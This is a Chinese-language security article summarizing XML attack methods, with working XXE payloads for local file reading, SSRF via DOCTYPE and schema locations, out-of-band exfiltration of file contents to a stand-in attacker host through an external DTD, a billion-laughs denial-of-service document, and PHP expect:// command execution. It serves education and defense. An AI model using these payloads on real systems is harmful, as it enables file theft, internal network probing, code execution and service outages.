你所不知道的XML安全—XML攻击方法小结-安全-火龙果软件工程

你所不知道的XML安全—XML攻击方法小结

作者：小飞来源：51CTO 发布于：2015-03-08

次浏览

XML可扩展标记语言，被设计用来传输和存储数据，其形式多样。某些在XML中被设计出来的特性，比如 XML schemas(遵循XML Schemas 规范)和documents type definitions(DTDs)都是安全问题来源。纵然被公开的讨论了上十年，还是有一大批一大批的软件死在针对XML的攻击上。

0x00 XML简介

XML可扩展标记语言，被设计用来传输和存储数据。其形式多样

例如：

1.文档格式(OOXML，ODF,PDF,RSS,DOCX...)

2.图片格式(SVG,EXIF Headers,...)

3.配置文件(自定义名字，一般是.xml)

4.网络协议(WebDAV,CalDAV，XMLRPC,SOAP,REST,XMPP,SAML,XACML,...)

某些在XML中被设计出来的特性，比如 XML schemas(遵循XML Schemas 规范)和documents type definitions(DTDs)都是安全问题来源。纵然被公开的讨论了上十年，还是有一大批一大批的软件死在针对XML的攻击上。

其实XML实体机制很好理解，可以直接用“转义”来理解：&#x25和&foo从原始意义上来说是一样的，只是后者是由我们自己来定义任意内容。

拿DTD来说，DTD中能声明实体来定义变量(或是文字类的宏)，以便在接下来的DTD或者XML文档中使用。一般实体在DTD中定义，用来访问内部资源，获取里面的文字并用来替换自己的xml文档，而外部实体用来访问外部资源(也就是说，这些资源能来自本地计算机，也可以是远程主机)。在解析外部实体的过程中，XML的分析器可能会使用众多网络协议和服务(DNS,FTP,HTTP,SMB等等)这取决于URLs里面被指定成什么。外部实体用来处理那些实时更新的文档是很有用的，然而，攻击也能在解析外部实体的过程中发生。攻击手段包括：

1.读取本地文件(可能包含敏感信息 /etc/shadow)

2.内存侵犯

3.任意代码执行

4.拒绝服务

本文将对长期以来出现的xml攻击方法进行一个总结。

0x01 初识XML外部实体攻击

基于外部实体的文件包含

最早被提出的XML攻击方法是利用外部实体的引用功能来实现任意文件读取

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [  
<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname>   
...  
</updateProfile>

然而这种读取是有限制的，因为xml的解析器要求被引用的数据是完整的，我们使用一个例子来解释什么是完整。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE simpleDocument [  
<!ENTITY first "<my"> 
<!ENTITY second "tag/>"> ]> 
<simpleDocument>&first;&second;</simpleDocument>

如上的xml文档当发送给服务器时，实际上是会产生一个错误的其中虽然在组合在一起时是能够完美闭合的，但是这些实体由于在第3，4行就被解析一次，此时由于不是完美闭合的，就会抛出一个错误。

这种错误让xml攻击一度变得鸡肋起来，因为实际上很多文件都是“未闭合形式”的，比如在php文件推荐的写法中就是只有前面一个"
更糟糕的是，当你选择包含的是一个完整的xml文件(比如数据库连接文件)的时候，返回结果将是

可以看到，在标签中的数据库配置文档被嵌入时，大部分内容都是省略号，只显示了文档的结构。这是由xml parser特性决定的。

URL Invocation

XML攻击中有一块常常被忽视，那就是利用URL机制以及他们的一些奇怪的特性来扩大攻击面。

虽然XML规范并没有要求支持任何特定的URL机制，但许多平台的底层网络库却支持了几乎所有URL机制。

借助URLs，攻击者可以让运行着XMLparser的主机向第三方主机发起恶意请求.

比如“server-side request forgery”(ssrf).理论上来说，URL Invocation甚至可以用来发起内部网络中的洪水攻击。

大部分人不知道的是，即使外部实体被禁用了，许多xml parsers还是会去解析那些URL。举个例子，一些parsers会在文档定义阶段对url发起请求

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://internal/service?ssrf"> 
<roottag>这不是实体攻击！</roottag>

除了外部实体和基于DOCTYPE的SSRF攻击之外，XML Schema提供了两个在实例文档中使用的特殊属性，用于指出模式文档的位置。这两个属性是：xsi:schemaLocation和xsi:noNamespaceSchemaLocation，前者用于声明了目标名称空间的模式文档，后者用于没有目标名称空间的模式文档，它们通常在实例文档中使用。

<roottag xmlns="http://schema/namespace/primary" 
         xmlns:secondaryns="http://schema/namespace/secondary" 
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
         xsi:schemaLocation="http://schema/namespace/primary  
  <p> 
    <secondaryns:s> 
    ...  
    </secondaryns:s> 
  </p> 
</roottag> 
   
http://location/of/remote/schema/primary.xsd  
   
   
http://schema/namespace/secondary  
   
http://location/of/remote/schema/secondary.xsd">

在这个案例中，所有带有secondaryns:前缀的都会遵循在xmlns:secondaryns中定义的机制。由于DOCTYPE定义不能出现在文档的中部，所以当我们只对文档某个部分可控的时候，就能利用schema_Location(http://location/of/remote/schema/primary.xsd)发起ssrf。(前提是一些设置需要设置为on，然而我们并没有对每个xml parser进行充分的测试来研究不同环境下有什么要求能让我们进行ssrf攻击，所以这也是一个待研究的方向，有兴趣的wooyuner可以交流~)

0x02 引入参数实体后的攻击手段

当我们的恶意xml被成功解析，这时我们有可能面临两个问题：

一，数据未闭合导致嵌入失败(比如只存在

二，服务器进行限制导致数据不能返回。

引入参数实体之后，这两个问题就能得到解决。

参数实体以%开头我们使用参数实体只需要遵循两条原则：

参数实体只能在DTD声明中使用。参数实体中不能再引用参数实体。

CDATA转义的妙用

CDATA部件;在CDATA部件的所有内容都会被XML解析器忽略，即CDATA部件里面的内容紧紧这是一个字符串文本的作用。一个 CDATA 部件以""标记结束。那么我们能不能构造一个这样的页面来返回那些文件呢

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [  
  <!ENTITY % start "<![CDATA[">  
  <!ENTITY % goodies SYSTEM "file:///etc/fstab">  
  <!ENTITY % end "]]>"> 
  <!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd"> 
%dtd;  
]> 
<roottag>&all;</roottag>

combine.dtd如下

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

前面也提到过，当xml parsers会把xml的参数实体% start % end马上解释，由于没有闭合就会抛出错误，那么这里的%start为何能正常地解析呢? 这是因为参数实体的引用不需要在xml文档解析的时候保持xml闭合，这样就绕过了限制。

通过这样我们就能读取所有数据了(base64编码也可)

外带数据bypass回显限制

另一种使用参数实体的手段就是外带数据了。

利用参数实体，我们能够把需要读取的文件通过一些协议(http ftp等)发送到我们的服务器上，那么通过日志查看就能获取数据了我们可以这么构造

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [  
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini"> 
<!ENTITY % dtd SYSTEM "http://example.com/evil.dtd"> %dtd;]> 
<roottag>&send;</roottag>

然后在我们可控的http://example.com/

放置如下DTD

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY % all "<!ENTITY send SYSTEM 'http://example.com/?%file;'>"> %all;

流程如下

XXE的奇门遁甲

基于XInclude的文件包含

XInclude提供了一种较为方便的取回数据的思路(再也不用担心数据不完整而导致parser抛出一个错误)而我们能够通过parse属性，强制引用文件的类型。

<root xmlns:xi="http://www.w3.org/2001/XInclude"> 
 <xi:include href="file:///etc/fstab" parse="text"/> 
</root>

不过Xinclude需要手动开启，测试发现所有xml parser都默认关闭这一特性。

拒绝服务

XXE攻击也能用来发起拒绝服务攻击

如下的递归引用，从下至上以指数形式增多

<?xml version="1.0"?> 
<!DOCTYPE lolz [  
  <!ENTITY lol "lol"> 
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 
]> 
<lolz>&lol9;</lolz>

回忆一下解析过程，当XML处理器载入这个文档的时候，它会包含根元素，而里面定义了实体&lol9 ，而19实体扩展成了包含了“&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;”这个字符串。

如此递归上去，压入内存的东西呈指数增长，实验发现，一个小于1KB的XML攻击payload能消耗3GB的内存。

特定环境下的攻击和限制

Java&Xerces

默认的Oracle's Java Runtime Environment下的XML parser是Xerces，一个apache的项目。而Xerces和Java提供了一系列的特性，这些特性又能导致一些严重的安全问题。上述的那些攻击手法(DOCTYPEs for SSRF,文件读取,参数实体的外带数据)在java的默认配置下能够运用自如,java/Xerces也支持XInclude 但是需要setXIncludeAware(true) 和setNamespaceAware(true)。

java规范能够支持如下的URL机制

http
https
ftp
file
jar

令人吃惊的是Java的file协议能够用来列目录，比如说，在linux下面“file:///”会列出/目录下所有东西：

bin
boot
dev
etc
home
...

jar协议jar:http://host/application.jar!/file/within/the/zip会导致服务器首先取得文件然后解压这个以jar开头!结尾的包并提取后面的文件。从攻击者的角度看，完全能够定制一些高压缩比的包(比如1000：1)这些ZIP炸弹能用来攻击反病毒系统，或者用来消耗目标机的硬盘/内存资源。注意，jar URLs能在任何接受DOCTYPE定义的JAVA Xerces系统上使用。所以，即使外部实体关闭了，还是能够进行攻击。

php&expect的RCE

很遗憾，这个扩展并不是默认安装的，然而安装了这个扩展的XXE漏洞，是能够执行任意命令。

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]> 
<dir> 
<file>&cmd;</file> 
</dir>

那么就会返回如下

<file>uid=501(Apple) gid=20(staff) groups=20(staff),501(access_bpf),
12(everyone),61(localaccounts),79(_appserverusr),80(admin),
81(_appserveradm),98(_lpadmin),401(com.apple.sharepoint.group.1),
33(_appstore),100(_lpoperator),204(_developer),
398(com.apple.access_screensharing),399(com.apple.access_ssh)<file>

xml注入

这个和xxe攻击关系并不大，但是本文讨论的是XML安全，所以这个自然也就收录进来

$GLOBALS["HTTP_RAW_POST_DATA"]在php中被设置成了“不转义”，一旦程序通过实体获取数据后，直接带入了Mysql最后造成注入

案例如下

WooYun: PHPYUN最新版XML注入及SQL注入获取管理员账号(无视任何防御)

0x03 总结

XXE攻击总在被忽视

开发者往往说：

攻击威胁小..

关闭实体就能完全避免...

XML实体攻击是啥?

然而，xml实体攻击再上述的攻击中已然产生了很多出乎开发者意料的威胁。

次浏览